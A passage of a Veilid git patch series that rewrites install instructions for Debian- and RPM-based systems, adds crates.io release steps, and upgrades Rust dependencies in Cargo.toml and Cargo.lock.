Evaluate the MR's adherence to the published requirements and if automatic tests passed. +**Step 1**: Add the GPG keys to your operating systems keyring.
+*Explanation*: The `wget` command downloads the public key, and the `sudo gpg` command adds the public key to the keyring. - 1.2 (Optional) Perform the merge in a local dev environment if testing is required beyond the standard Earthly tests. +```shell +wget -O- https://packages.veilid.net/gpg/veilid-packages-key.public | sudo gpg --dearmor -o /usr/share/keyrings/veilid-packages-keyring.gpg +``` - 1.3 If everything checks out, MR meets the published requirements, and tests passed, execute the merge functions in the Gitlab UI. +**Step 2**: Identify your architecture
+*Explanation*: The following command will tell you what type of CPU your system is running -2. Maintainer performs version bump: +```shell +dpkg --print-architecture +``` - 2.1 Update your local copy of `main` to mirror the newly merged upstream `main` +**Step 3**: Add Veilid to your list of available software.
+*Explanation*: Use the result of your command in **Step 2** and run **one** of the following: - 2.2 Ensure the [CHANGELOG](./CHANGELOG.md) is updated +- For **AMD64** based systems run this command: - 2.3 Activate your bumpversion Python venv (see bumpversion setup section for details) + ```shell + echo "deb [arch=amd64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null + ``` - 2.4 Execute version_bump.sh with the appropriate parameter (patch, minor, or major). This results in all version entries being updated and a matching git tag created locally. +- For **ARM64** based systems run this command: - 2.5 Add all changes `git add *` + ```shell + echo "deb [arch=arm64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null + ``` - 2.6 Git commit the changes with the following message: `Version update: v{current_version} → v{new_version}` +*Explanation*: +Each of the above commands will create a new file called `veilid.list` in the `/etc/apt/sources.list.d/`. This file contains instructions that tell the operating system where to download Veilid. - 2.7 Create the Git tag `git tag v{new_version}` +**Step 4**: Refresh the package manager.
+*Explanation*: This tells the `apt` package manager to rebuild the list of available software using the files in `/etc/apt/sources.list.d/` directory. - 2.8 Push your local 'main' to the upstream origin 'main' `git push` +```shell +sudo apt update +``` - 2.9 Push the new tag to the upstream origin `git push origin {tag name made in step 2.7}` i.e. `git push origin v0.1.5` +**Step 5**: Install Veilid. - 2.10 Ensure the package/release/distribute pipeline autostarted in the Gitlab UI +```shell +sudo apt install veilid-server veilid-cli +``` -Git tags serve as a historical record of what repo versions were successfully released at which version numbers. +### RPM-based -## Publish to crates.io +Follow the steps here to add the repo to +RPM-based systems (CentOS, Rocky Linux, AlmaLinux, Fedora, etc.) +and install Veilid. -1. Configure the crates.io credentials, if not already accomplished. -2. Execute `cargo publish -p veilid-tools --dry-run` -3. Execute `cargo publish -p veilid-tools` -4. Execute `cargo publish -p veilid-core --dry-run` -5. Execute `cargo publish -p veilid-core` +**Step 1**: Add Veilid to your list of available software. -## Publish to Pypi +```shell +sudo yum-config-manager --add-repo https://packages.veilid.net/rpm/veilid-rpm-repo.repo +``` +**Step 2**: Install Veilid. -1. Change directory to veilid-python -2. Install Poetry and configure the Pypi credentials, if not already accomplished. -3. Execute `poetry build` -4. Execute `poetry publish` +```shell +sudo dnf install veilid-server veilid-cli +``` -## Reverting Releases +## Start headless node -Occasionally a release will happen that needs to be reverted. This is done manually on `crates.io` or the APT repository, or wherever the artifacts end up. Tags are not removed. +### With systemd -## Released Artifacts +To start a headless Veilid node, run: -### Rust Crates +```shell +sudo systemctl start veilid-server.service +``` -- [x] __veilid-tools__ [__Tag__: `veilid-tools-v0.0.0`] - > An assortment of useful components used by the other Veilid crates. - > Released to crates.io when its version number is changed in `Cargo.toml` -- [x] __veilid-core__ [__Tag__: `veilid-core-v0.0.0`] - > The base rust crate for Veilid's logic - > Released to crates.io when its version number is changed in `Cargo.toml` -- [ ] __veilid-server__ - > The Veilid headless node end-user application - > Not released to crates.io as it is an application binary that is either built by hand or installed using a package manager. - > This application does not currently support `cargo install` -- [ ] __veilid-cli__ A text user interface to talk to veilid-server and operate it manually - > Not released to crates.io as it is an application binary that is either built by hand or installed using a package manager. - > This application does not currently support `cargo install` -- [ ] __veilid-wasm__ - > Not released to crates.io as it is not a library that can be linked by other Rust applications -- [ ] __veilid-flutter__ - > The Dart-FFI native interface to the Veilid API - > This is currently built by the Flutter plugin `veilid-flutter` and not released. +To have your headless Veilid node start at boot: -### Python Packages +```shell +sudo systemctl enable --now veilid-server.service +``` -- [x] __veilid-python__ [__Tag__: `veilid-python-v0.0.0`] - > The Veilid API bindings for Python - > Released to PyPi when the version number is changed in `pyproject.toml` - -### Flutter Plugins +### Without systemd -- [ ] __veilid-flutter__ - > The Flutter plugin for the Veilid API. - > Because this requires a build of a native Rust crate, this is not yet released via - > TODO: Eventually the rust crate should be bound to +`veilid-server` must be run as the `veilid` user. -### Operating System Packages +To start your headless Veilid node without systemd, run: -- [x] __veilid-server__ DEB package [__Tag__: `veilid-server-deb-v0.0.0`] - > The Veilid headless node binary in the following formats: - > - > - Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository - > - Pushed to APT repository at - > -- [x] __veilid-server__ RPM package [__Tag__: `veilid-server-rpm-v0.0.0`] - > The Veilid headless node binary in the following formats: - > - > - Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository - > - Pushed to Yum repository at - > -- [x] __veilid-cli__ DEB package [__Tag__: `veilid-cli-deb-v0.0.0`] - > The Veilid headless node administrator control binary in the following formats: - > - > - Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository - > - Pushed to APT repository at - > -- [x] __veilid-cli__ RPM package [__Tag__: `veilid-cli-rpm-v0.0.0`] - > The Veilid headless node administrator control binary in the following formats: - > - > - Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository - > - Pushed to Yum repository at - -### Version Numbering - -All versions of Veilid Rust crates as well as `veilid-python` and `veilid-flutter` packages are versioned using Semver. Versions can differ per crate and package, and it is important for the Semver rules to be followed (): - -- MAJOR version when you make incompatible API changes -- MINOR version when you add functionality in a backward compatible manner -- PATCH version when you make backward compatible bug fixes - -The `version_bump.sh` script should be run on every release to stable. All of the Rust crates are versioned together and should have the same version, as well as the `veilid-python` Python package and `veilid-flutter` Flutter plugin. - -## Bumpversion Setup and Usage - -### Install Bumpversion - -1. Create a Python venv for bumpversion.py. Mine is in my home dir so it persists when I update my local Veilid `main`. - - `python3 -m venv ~/bumpversion-venv` -2. Activate the venv. `source ~/bumpversion-venv/bin/activate` -3. Install bumpversion. `pip3 install bumpversion` - -### Activate venv for version bumping step of the release process - -1. Activate the venv. `source ~/bumpversion-venv/bin/activate` -2. Return to step 2.4 of _Create a Gitlab Release_ +```shell +sudo -u veilid veilid-server +``` diff --git a/RELEASING.md b/RELEASING.md index f7c8d92d..5b5085a6 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -40,6 +40,14 @@ Releases happen via a CI/CD pipeline. The release process flows as follows: Git tags serve as a historical record of what repo versions were successfully released at which version numbers. +## Publish to crates.io + +1. Configure the crates.io credentials, if not already accomplished. +2. Execute `cargo publish -p veilid-tools --dry-run` +3. Execute `cargo publish -p veilid-tools` +4. Execute `cargo publish -p veilid-core --dry-run` +5. Execute `cargo publish -p veilid-core` + ## Publish to Pypi 1. Change directory to veilid-python From e768e7996118eb395bc0a32d05d82c020ba96d93 Mon Sep 17 00:00:00 2001 From: John Smith Date: Sat, 16 Sep 2023 20:28:43 -0400 Subject: [PATCH 46/86] cargo workspace resolver update for latest rust --- veilid-core/Cargo.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index cb77a8dc..545539bc 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -129,7 +129,7 @@ trust-dns-resolver = { version = "0.22.0", optional = true } enum-as-inner = "=0.5.1" # temporary fix for trust-dns-resolver v0.22.0 # Serialization -capnp = { version = "0.18.1", default-features = false } +capnp = { version = "0.18.1", default-features = false, features = [ "alloc" ] } serde = { version = "1.0.183", features = ["derive"] } serde_json = { version = "1.0.105" } serde-big-array = "0.5.1" From d60c296303e533a91feba53d38b99dbac5c04c7a Mon Sep 17 00:00:00 2001 From: John Smith Date: Sat, 16 Sep 2023 21:56:19 -0400 Subject: [PATCH 47/86] cargo upgrades --- Cargo.lock | 718 +++++------------- veilid-cli/Cargo.toml | 10 +- veilid-core/Cargo.toml | 45 +- veilid-core/src/crypto/blake3digest512.rs | 3 +- veilid-core/src/intf/native/system.rs | 3 +- .../src/network_manager/native/network_tcp.rs | 2 +- veilid-flutter/rust/Cargo.toml | 8 +- veilid-server/Cargo.toml | 16 +- veilid-tools/Cargo.toml | 10 +- veilid-wasm/Cargo.toml | 2 +- 10 files changed, 221 insertions(+), 596 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index dab2186e..74a44c69 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -45,7 +45,7 @@ version = "0.7.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fcb51a0695d8f838b1ee009b3fbf66bda078cd64590202a864a8f3e8c4315c47" dependencies = [ - "getrandom 0.2.10", + "getrandom", "once_cell", "version_check 0.9.4", ] @@ -57,7 +57,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2c99f64d1e06488f620f932677e24bc6e2897582980441ae90a671415bd7ec2f" dependencies = [ "cfg-if 1.0.0", - "getrandom 0.2.10", + "getrandom", "once_cell", "version_check 0.9.4", ] @@ -301,7 +301,7 @@ dependencies = [ "async-lock", "async-task", "concurrent-queue", - "fastrand 1.9.0", + "fastrand", "futures-lite", "slab", ] @@ -398,41 +398,19 @@ dependencies = [ [[package]] name = "async-std-resolver" -version = "0.22.0" +version = "0.23.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6ba50e24d9ee0a8950d3d03fc6d0dd10aa14b5de3b101949b4e160f7fee7c723" +checksum = "0354a68a52265a3bde76005ddd2726624ef8624614f7f58871301de205a58a59" dependencies = [ "async-std", "async-trait", "futures-io", "futures-util", "pin-utils", - "socket2 0.4.9", + "socket2 0.5.4", "trust-dns-resolver", ] -[[package]] -name = "async-stream" -version = "0.3.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cd56dd203fef61ac097dd65721a419ddccb106b2d2b70ba60a6b529f03961a51" -dependencies = [ - "async-stream-impl", - "futures-core", - "pin-project-lite", -] - -[[package]] -name = "async-stream-impl" -version = "0.3.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.36", -] - [[package]] name = "async-task" version = "4.4.0" @@ -464,19 +442,6 @@ dependencies = [ "syn 2.0.36", ] -[[package]] -name = "async-tungstenite" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a5c45a0dd44b7e6533ac4e7acc38ead1a3b39885f5bbb738140d30ea528abc7c" -dependencies = [ - "futures-io", - "futures-util", - "log", - "pin-project 0.4.30", - "tungstenite 0.11.1", -] - [[package]] name = "async-tungstenite" version = "0.23.0" @@ -488,7 +453,7 @@ dependencies = [ "futures-util", "log", "pin-project-lite", - "tungstenite 0.20.0", + "tungstenite", ] [[package]] @@ -503,7 +468,7 @@ dependencies = [ "futures-task", "futures-timer", "futures-util", - "pin-project 1.1.3", + "pin-project", "rustc_version", "tokio", "wasm-bindgen-futures", @@ -570,7 +535,7 @@ dependencies = [ "async-trait", "axum-core", "bitflags 1.3.2", - "bytes 1.5.0", + "bytes", "futures-util", "http", "http-body", @@ -596,7 +561,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "759fa577a247914fd3f7f76d62972792636412fbfd634cd452f6a385a74d2d2c" dependencies = [ "async-trait", - "bytes 1.5.0", + "bytes", "futures-util", "http", "http-body", @@ -621,12 +586,6 @@ dependencies = [ "rustc-demangle", ] -[[package]] -name = "base64" -version = "0.12.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3441f0f7b02788e948e47f457ca01f1d7e6d92c693bc132c22b087d3141c03ff" - [[package]] name = "base64" version = "0.13.1" @@ -645,25 +604,6 @@ version = "1.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8c3c1a368f70d6cf7302d78f8f7093da241fb8e8807c05cc9e51a125895a6d5b" -[[package]] -name = "bindgen" -version = "0.57.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fd4865004a46a0aafb2a0a5eb19d3c9fc46ee5f063a6cfc605c69ac9ecf5263d" -dependencies = [ - "bitflags 1.3.2", - "cexpr 0.4.0", - "clang-sys", - "lazy_static", - "lazycell", - "peeking_take_while", - "proc-macro2", - "quote", - "regex", - "rustc-hash", - "shlex 0.1.1", -] - [[package]] name = "bindgen" version = "0.59.2" @@ -671,7 +611,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2bd2a9a458e8f4304c52c43ebb0cfbd520289f8379a52e329a38afda99bf8eb8" dependencies = [ "bitflags 1.3.2", - "cexpr 0.6.0", + "cexpr", "clang-sys", "clap 2.34.0", "env_logger 0.9.3", @@ -683,7 +623,7 @@ dependencies = [ "quote", "regex", "rustc-hash", - "shlex 1.2.0", + "shlex", "which", ] @@ -783,16 +723,16 @@ dependencies = [ "async-lock", "async-task", "atomic-waker", - "fastrand 1.9.0", + "fastrand", "futures-lite", "log", ] [[package]] name = "boringssl-src" -version = "0.3.0+688fc5c" +version = "0.5.2+6195bf8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f901accdf830d2ea2f4e27f923a5e1125cd8b1a39ab578b9db1a42d578a6922b" +checksum = "7ab565ccc5e276ea82a2013dd08bf2c999866b06daf1d4f30fee419c4aaec6d5" dependencies = [ "cmake", ] @@ -815,12 +755,6 @@ version = "1.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" -[[package]] -name = "bytes" -version = "0.5.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0e4cec68f03f32e44924783795810fa50a7035d8c8ebe78580ad7e6c703fba38" - [[package]] name = "bytes" version = "1.5.0" @@ -860,15 +794,6 @@ version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c" -[[package]] -name = "cexpr" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4aedb84272dbe89af497cf81375129abda4fc0a9e7c5d317498c15cc30c0d27" -dependencies = [ - "nom 5.1.3", -] - [[package]] name = "cexpr" version = "0.6.0" @@ -1066,7 +991,7 @@ version = "4.6.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "35ed6e9d84f0b51a7f52daf1c7d71dd136fd7a3f41a8462b8cdb8c78d920fad4" dependencies = [ - "bytes 1.5.0", + "bytes", "memchr", ] @@ -1106,7 +1031,7 @@ checksum = "c2895653b4d9f1538a83970077cb01dfc77a4810524e51a110944688e916b18e" dependencies = [ "prost", "prost-types", - "tonic 0.9.2", + "tonic", "tracing-core", ] @@ -1128,7 +1053,7 @@ dependencies = [ "thread_local", "tokio", "tokio-stream", - "tonic 0.9.2", + "tonic", "tracing", "tracing-core", "tracing-subscriber", @@ -1265,7 +1190,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" dependencies = [ "generic-array 0.14.7", - "rand_core 0.6.4", + "rand_core", "typenum", ] @@ -1553,33 +1478,13 @@ dependencies = [ "subtle", ] -[[package]] -name = "directories" -version = "4.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f51c5d4ddabd36886dd3e1438cb358cdcb0d7c499cb99cb4ac2e38e18b5cb210" -dependencies = [ - "dirs-sys 0.3.7", -] - [[package]] name = "directories" version = "5.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9a49173b84e034382284f27f1af4dcbbd231ffa358c0fe316541a7337f376a35" dependencies = [ - "dirs-sys 0.4.1", -] - -[[package]] -name = "dirs-sys" -version = "0.3.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b1d1d91c932ef41c0f2663aa8b0ca0342d444d842c06914aa0a7e352d0bada6" -dependencies = [ - "libc", - "redox_users", - "winapi", + "dirs-sys", ] [[package]] @@ -1624,7 +1529,7 @@ checksum = "7277392b266383ef8396db7fdeb1e77b6c52fed775f5df15bb24f35b72156980" dependencies = [ "curve25519-dalek", "ed25519", - "rand_core 0.6.4", + "rand_core", "serde", "sha2 0.10.7", "signature", @@ -1645,14 +1550,14 @@ checksum = "658bbadc628dc286b9ae02f0cb0f5411c056eb7487b72f0083203f115de94060" [[package]] name = "enum-as-inner" -version = "0.5.1" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c9720bba047d567ffc8a3cba48bf19126600e249ab7f128e9233e6376976a116" +checksum = "5ffccbb6966c05b32ef8fbac435df276c4ae4d3dc55a8cd0eb9745e6c12f546a" dependencies = [ "heck", "proc-macro2", "quote", - "syn 1.0.109", + "syn 2.0.36", ] [[package]] @@ -1815,12 +1720,6 @@ dependencies = [ "instant", ] -[[package]] -name = "fastrand" -version = "2.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6999dc1837253364c2ebb0704ba97994bd874e8f195d665c50b7548f6ea92764" - [[package]] name = "fdeflate" version = "0.3.0" @@ -1846,12 +1745,6 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d0870c84016d4b481be5c9f323c24f65e31e901ae618f0e80f4308fb00de1d2d" -[[package]] -name = "fixedbitset" -version = "0.4.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0ce7134b9999ecaf8bcd65542e436736ef32ddca1b3e06094cb6ec5755203b80" - [[package]] name = "flate2" version = "1.0.27" @@ -1992,7 +1885,7 @@ version = "1.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "49a9d51ce47660b1e808d3c990b4709f2f415d928835a17dfd16991515c46bce" dependencies = [ - "fastrand 1.9.0", + "fastrand", "futures-core", "futures-io", "memchr", @@ -2096,17 +1989,6 @@ dependencies = [ "winapi", ] -[[package]] -name = "getrandom" -version = "0.1.16" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" -dependencies = [ - "cfg-if 1.0.0", - "libc", - "wasi 0.9.0+wasi-snapshot-preview1", -] - [[package]] name = "getrandom" version = "0.2.10" @@ -2116,7 +1998,7 @@ dependencies = [ "cfg-if 1.0.0", "js-sys", "libc", - "wasi 0.11.0+wasi-snapshot-preview1", + "wasi", "wasm-bindgen", ] @@ -2172,25 +2054,26 @@ dependencies = [ [[package]] name = "grpcio" -version = "0.9.1" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "24d99e00eed7e0a04ee2705112e7cfdbe1a3cc771147f22f016a8cd2d002187b" +checksum = "609832ca501baeb662dc81932fda9ed83f5d058f4b899a807ba222ce696f430a" dependencies = [ - "futures", + "futures-executor", + "futures-util", "grpcio-sys", "libc", "log", - "parking_lot 0.11.2", + "parking_lot 0.12.1", "protobuf", ] [[package]] name = "grpcio-sys" -version = "0.9.1+1.38.0" +version = "0.12.1+1.46.5-patched" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9447d1a926beeef466606cc45717f80897998b548e7dc622873d453e1ecb4be4" +checksum = "cf625d1803b6f44203f0428ddace847fb4994def5c803fc8a7a2f18fb3daec62" dependencies = [ - "bindgen 0.57.0", + "bindgen", "boringssl-src", "cc", "cmake", @@ -2206,7 +2089,7 @@ version = "0.3.21" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "91fc23aa11be92976ef4729127f1a74adf36d8436f7816b185d18df956790833" dependencies = [ - "bytes 1.5.0", + "bytes", "fnv", "futures-core", "futures-sink", @@ -2360,7 +2243,7 @@ version = "0.2.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bd6effc99afb63425aff9b05836f029929e345a6148a14b7ecd5ab67af944482" dependencies = [ - "bytes 1.5.0", + "bytes", "fnv", "itoa", ] @@ -2371,7 +2254,7 @@ version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" dependencies = [ - "bytes 1.5.0", + "bytes", "http", "pin-project-lite", ] @@ -2400,7 +2283,7 @@ version = "0.14.27" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ffb1cfd654a8219eaef89881fdb3bb3b1cdc5fa75ded05d6933b2b382e395468" dependencies = [ - "bytes 1.5.0", + "bytes", "futures-channel", "futures-core", "futures-util", @@ -2459,17 +2342,6 @@ version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" -[[package]] -name = "idna" -version = "0.2.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "418a0a6fab821475f634efe3ccc45c013f742efe03d853e8d3355d5cb850ecf8" -dependencies = [ - "matches", - "unicode-bidi", - "unicode-normalization", -] - [[package]] name = "idna" version = "0.4.0" @@ -2546,15 +2418,6 @@ dependencies = [ "generic-array 0.14.7", ] -[[package]] -name = "input_buffer" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "19a8a95243d5a0398cae618ec29477c6e3cb631152be5c19481f80bc71559754" -dependencies = [ - "bytes 0.5.6", -] - [[package]] name = "instant" version = "0.1.12" @@ -2672,7 +2535,7 @@ dependencies = [ "cfg-if 1.0.0", "core-foundation", "core-foundation-sys", - "directories 5.0.1", + "directories", "fs4", "jni", "lazy_static", @@ -2875,12 +2738,6 @@ dependencies = [ "regex-automata 0.1.10", ] -[[package]] -name = "matches" -version = "0.1.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5" - [[package]] name = "matchit" version = "0.7.2" @@ -2902,15 +2759,6 @@ dependencies = [ "autocfg", ] -[[package]] -name = "memoffset" -version = "0.7.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4" -dependencies = [ - "autocfg", -] - [[package]] name = "memory_units" version = "0.4.0" @@ -2947,23 +2795,17 @@ checksum = "927a765cd3fc26206e66b296465fa9d3e5ab003e651c1b3c060e7956d96b19d2" dependencies = [ "libc", "log", - "wasi 0.11.0+wasi-snapshot-preview1", + "wasi", "windows-sys 0.48.0", ] -[[package]] -name = "multimap" -version = "0.8.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e5ce46fe64a9d73be07dcbe690a38ce1b293be448fd8ce1e6c1b8062c9f72c6a" - [[package]] name = "nanorand" version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3" dependencies = [ - "getrandom 0.2.10", + "getrandom", ] [[package]] @@ -3057,9 +2899,9 @@ dependencies = [ [[package]] name = "netlink-packet-route" -version = "0.17.0" +version = "0.17.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f6de2fe935f44cbdfcab77dce2150d68eda75be715cd42d4d6f52b0bd4dcc5b1" +checksum = "053998cea5a306971f88580d0829e90f270f940befd7cf928da179d4187a5a66" dependencies = [ "anyhow", "bitflags 1.3.2", @@ -3087,7 +2929,7 @@ version = "0.11.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "842c6770fc4bb33dd902f41829c61ef872b8e38de1405aa0b938b27b8fba12c3" dependencies = [ - "bytes 1.5.0", + "bytes", "futures", "log", "netlink-packet-core", @@ -3103,7 +2945,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6471bf08e7ac0135876a9581bf3217ef0333c191c128d34878079f42ee150411" dependencies = [ "async-io", - "bytes 1.5.0", + "bytes", "futures", "libc", "log", @@ -3120,7 +2962,7 @@ dependencies = [ "cc", "cfg-if 1.0.0", "libc", - "memoffset 0.6.5", + "memoffset", ] [[package]] @@ -3132,7 +2974,7 @@ dependencies = [ "bitflags 1.3.2", "cfg-if 1.0.0", "libc", - "memoffset 0.6.5", + "memoffset", ] [[package]] @@ -3144,8 +2986,6 @@ dependencies = [ "bitflags 1.3.2", "cfg-if 1.0.0", "libc", - "memoffset 0.7.1", - "pin-utils", ] [[package]] @@ -3169,16 +3009,6 @@ dependencies = [ "version_check 0.1.5", ] -[[package]] -name = "nom" -version = "5.1.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "08959a387a676302eebf4ddbcbc611da04285579f76f88ee0506c63b1a61dd4b" -dependencies = [ - "memchr", - "version_check 0.9.4", -] - [[package]] name = "nom" version = "7.1.3" @@ -3376,9 +3206,9 @@ checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" [[package]] name = "opentelemetry" -version = "0.18.0" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "69d6c3d7288a106c0a363e4b0e8d308058d56902adefb16f4936f417ffef086e" +checksum = "9591d937bc0e6d2feb6f71a559540ab300ea49955229c347a517a28d27784c54" dependencies = [ "opentelemetry_api", "opentelemetry_sdk", @@ -3386,56 +3216,55 @@ dependencies = [ [[package]] name = "opentelemetry-otlp" -version = "0.11.0" +version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d1c928609d087790fc936a1067bdc310ae702bdf3b090c3f281b713622c8bbde" +checksum = "7e5e5a5c4135864099f3faafbe939eb4d7f9b80ebf68a8448da961b32a7c1275" dependencies = [ "async-trait", - "futures", - "futures-util", + "futures-core", "grpcio", "http", - "opentelemetry", "opentelemetry-proto", + "opentelemetry-semantic-conventions", + "opentelemetry_api", + "opentelemetry_sdk", "prost", "protobuf", "thiserror", "tokio", - "tonic 0.8.3", + "tonic", ] [[package]] name = "opentelemetry-proto" -version = "0.1.0" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d61a2f56df5574508dd86aaca016c917489e589ece4141df1b5e349af8d66c28" +checksum = "b1e3f814aa9f8c905d0ee4bde026afd3b2577a97c10e1699912e3e44f0c4cbeb" dependencies = [ "futures", - "futures-util", "grpcio", - "opentelemetry", + "opentelemetry_api", + "opentelemetry_sdk", "prost", "protobuf", - "tonic 0.8.3", - "tonic-build", + "tonic", ] [[package]] name = "opentelemetry-semantic-conventions" -version = "0.10.0" +version = "0.12.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b02e0230abb0ab6636d18e2ba8fa02903ea63772281340ccac18e0af3ec9eeb" +checksum = "73c9f9340ad135068800e7f1b24e9e09ed9e7143f5bf8518ded3d3ec69789269" dependencies = [ "opentelemetry", ] [[package]] name = "opentelemetry_api" -version = "0.18.0" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c24f96e21e7acc813c7a8394ee94978929db2bcc46cf6b5014fc612bf7760c22" +checksum = "8a81f725323db1b1206ca3da8bb19874bbd3f57c3bcd59471bfb04525b265b9b" dependencies = [ - "fnv", "futures-channel", "futures-util", "indexmap 1.9.3", @@ -3443,26 +3272,28 @@ dependencies = [ "once_cell", "pin-project-lite", "thiserror", + "urlencoding", ] [[package]] name = "opentelemetry_sdk" -version = "0.18.0" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ca41c4933371b61c2a2f214bf16931499af4ec90543604ec828f7a625c09113" +checksum = "fa8e705a0612d48139799fcbaba0d4a90f06277153e43dd2bdc16c6f0edd8026" dependencies = [ "async-std", "async-trait", "crossbeam-channel", - "dashmap", - "fnv", "futures-channel", "futures-executor", "futures-util", "once_cell", "opentelemetry_api", + "ordered-float", "percent-encoding", - "rand 0.8.5", + "rand", + "regex", + "serde_json", "thiserror", "tokio", "tokio-stream", @@ -3474,6 +3305,15 @@ version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" +[[package]] +name = "ordered-float" +version = "3.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a54938017eacd63036332b4ae5c8a49fc8c0c1d6d629893057e4f13609edd06" +dependencies = [ + "num-traits", +] + [[package]] name = "ordered-multimap" version = "0.4.3" @@ -3591,7 +3431,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "346f04948ba92c43e8469c1ee6736c7563d71012b17d40745260fe106aac2166" dependencies = [ "base64ct", - "rand_core 0.6.4", + "rand_core", "subtle", ] @@ -3664,16 +3504,6 @@ dependencies = [ "sha2 0.10.7", ] -[[package]] -name = "petgraph" -version = "0.6.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e1d3afd2628e69da2be385eb6f2fd57c8ac7977ceeff6dc166ff1657b0e386a9" -dependencies = [ - "fixedbitset", - "indexmap 2.0.0", -] - [[package]] name = "pharos" version = "0.5.3" @@ -3684,33 +3514,13 @@ dependencies = [ "rustc_version", ] -[[package]] -name = "pin-project" -version = "0.4.30" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3ef0f924a5ee7ea9cbcea77529dba45f8a9ba9f622419fe3386ca581a3ae9d5a" -dependencies = [ - "pin-project-internal 0.4.30", -] - [[package]] name = "pin-project" version = "1.1.3" source = 